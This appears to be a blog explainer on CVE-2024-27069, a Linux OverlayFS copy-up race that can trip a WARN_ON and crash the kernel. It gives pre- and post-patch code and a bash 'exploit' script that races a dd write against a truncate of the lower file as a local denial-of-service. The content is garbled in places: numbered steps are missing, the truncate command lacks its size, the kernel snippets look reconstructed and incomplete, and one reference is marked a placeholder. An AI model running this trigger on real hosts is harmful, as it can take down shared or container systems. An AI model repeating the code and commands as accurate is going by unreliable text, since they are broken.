OverlayFS is a popular Linux filesystem that lets you mount one directory on top of another, providing a sort of "merged view." But recently, a bug was discovered (CVE-2024-27069) that could crash your kernel with a WARN_ON assertion! In this post, I’ll explain what happened, how to trigger it, show some relevant kernel code, and link to the official fix. All in simple language for everyone.
What is CVE-2024-27069?
This vulnerability occurs in the Linux OverlayFS subsystem. OverlayFS implements "copy up": when you make changes to files in a read-only lower directory via the overlay, the file is actually copied to an upper layer and modified there.
The problem: If the lower file changes size while that copy-up is in progress, the kernel code used to hit a critical warning (WARN_ON), which can crash your machine if warnings are treated seriously. The intended behavior is to safely return an error (EIO), not panic.
Original report:
https://syzkaller.appspot.com/bug?id=6d1e3123b39bcd8475b539f9ba8c390c365b532d
Patch/fix:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa22b36c5c99
Why is this a vulnerability?
It lets a (local) unprivileged user crash the box if they can trigger an OverlayFS copy-up while the lower file's size changes. This isn’t a direct privilege escalation, but it's a classic denial-of-service.
Start copying up a file via OverlayFS (e.g., write to an upper layer).
- At the same time, have another process truncate (shrink/grow) the lower file.
- Boom! Kernel might hit WARN_ON → oops/panic.
The Vulnerable Kernel Code
Let’s look at the actual code that caused the trouble!
File: fs/overlayfs/copy_up.c
Old code snippet (before fix)
static int ovl_verify_area(struct file *file, loff_t pos, size_t count) {
struct inode *inode = file_inode(file);
// If the file shrunk/grows during copy-up, this might trigger:
if (pos + count > i_size_read(inode))
WARN_ON(1); // Not supposed to happen! But it did!
}
So, when the file grows or shrinks during an OverlayFS copy-up, it used to hit WARN_ON(1), which is NOT a normal error. This is meant for kernel developers and can crash your system.
Fixed code (after patch)
static int ovl_verify_area(struct file *file, loff_t pos, size_t count) {
struct inode *inode = file_inode(file);
if (pos + count > i_size_read(inode))
return -EIO; // Cleanly return an I/O error instead!
}
See the diff here:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa22b36c5c99
How to Trigger (Exploit) CVE-2024-27069
This is a local denial-of-service exploit (no remote risk).
Start copy-up: Start writing to a file via the overlay mount.
3. Change file size in lower layer: Simultaneously (from another process!) truncate or extend the original file.
Example steps (bash script)
# Prepare directories
mkdir lower upper work overlay
echo "initial" > lower/file.txt
# Mount OverlayFS
sudo mount -t overlay overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay
# In the first shell, start a write (to trigger copy up)
dd if=/dev/zero of=overlay/file.txt bs=1M count=10 &
# Quickly, in another shell, truncate the file in the lower layer
truncate -s lower/file.txt
Note: If the above scripts are timed precisely (sometimes needs syzkaller or rapid scripting for race), the kernel will trigger the bug.
## References / Original Resources
- Syzkaller bug report: syzbot report
- Patch in mainline: overlayfs: relax WARN_ON in ovl_verify_area()
- CVE database: CVE-2024-27069 NVD record (placeholder/expected)
Update your kernels to a version with the patch (mainline after March 2024).
- Containers and VM operators: OverlayFS is widely used for container storage (like in Docker/Podman). Make sure your host OS is updated.
Conclusion
CVE-2024-27069 shows how even “harmless looking” assertions in the filesystem can be abused to take down a whole system. The OverlayFS maintainers have now fixed this with a clean error return instead of crashing the kernel—so patch up soon! For deeper details, check the patch and syzbot links above.
*Feel free to share or discuss below. If you want more kernel bug walk-throughs or security explainers, let me know!*
Timeline
Published on: 05/01/2024 13:15:50 UTC
Last modified on: 09/18/2025 16:52:04 UTC